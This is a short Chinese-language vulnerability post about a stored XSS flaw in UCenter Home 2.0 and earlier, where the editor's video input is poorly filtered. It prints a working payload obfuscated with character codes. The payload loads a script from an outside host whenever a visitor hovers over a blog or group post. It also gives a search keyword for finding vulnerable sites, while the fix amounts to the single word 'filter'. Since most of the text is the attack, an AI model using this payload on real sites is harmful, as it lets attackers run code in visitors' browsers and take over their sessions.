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Ucenter Home 2.0及以下存储型XSS

时间:2013/4/19 12:10:00 作者:平凡之路 来源:xuhantao.com 浏览:

【漏洞原理】

编辑器插入视频input过滤不严,导致日志和群组模块发帖可插入代码。

【测试代码】涛涛电脑知识

发帖包含以下代码:涛涛电脑知识网

点击开新窗口欣赏该FLASH动画![全屏欣赏]
" onmouseover='document.body.innerHTML=String.fromCharCode(60,105,102,114,97,109,101,47,111,110,108,111,97,100,61,39,106,97,118,97,115,99,114,105,112,116,58,119,114,105,116,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,54,48,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,51,50,44,49,49,53,44,49,49,52,44,57,57,44,54,49,44,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,53,56,44,52,55,44,52,55,44,49,49,54,44,49,48,57,44,49,50,48,44,49,48,55,44,52,54,44,49,49,49,44,49,49,52,44,49,48,51,44,52,55,44,49,49,51,44,52,54,44,49,48,54,44,49,49,53,44,54,50,44,54,48,44,52,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,54,50,41,41,39,62)'\

【关键字】

powered by ucenter home 2.0

漏洞证明:2.0漏洞举例:

///space.php?uid=11&do=blog&id=4

 

 

 

1.5漏洞举例:

 


 

 

修复方案:

过滤

 

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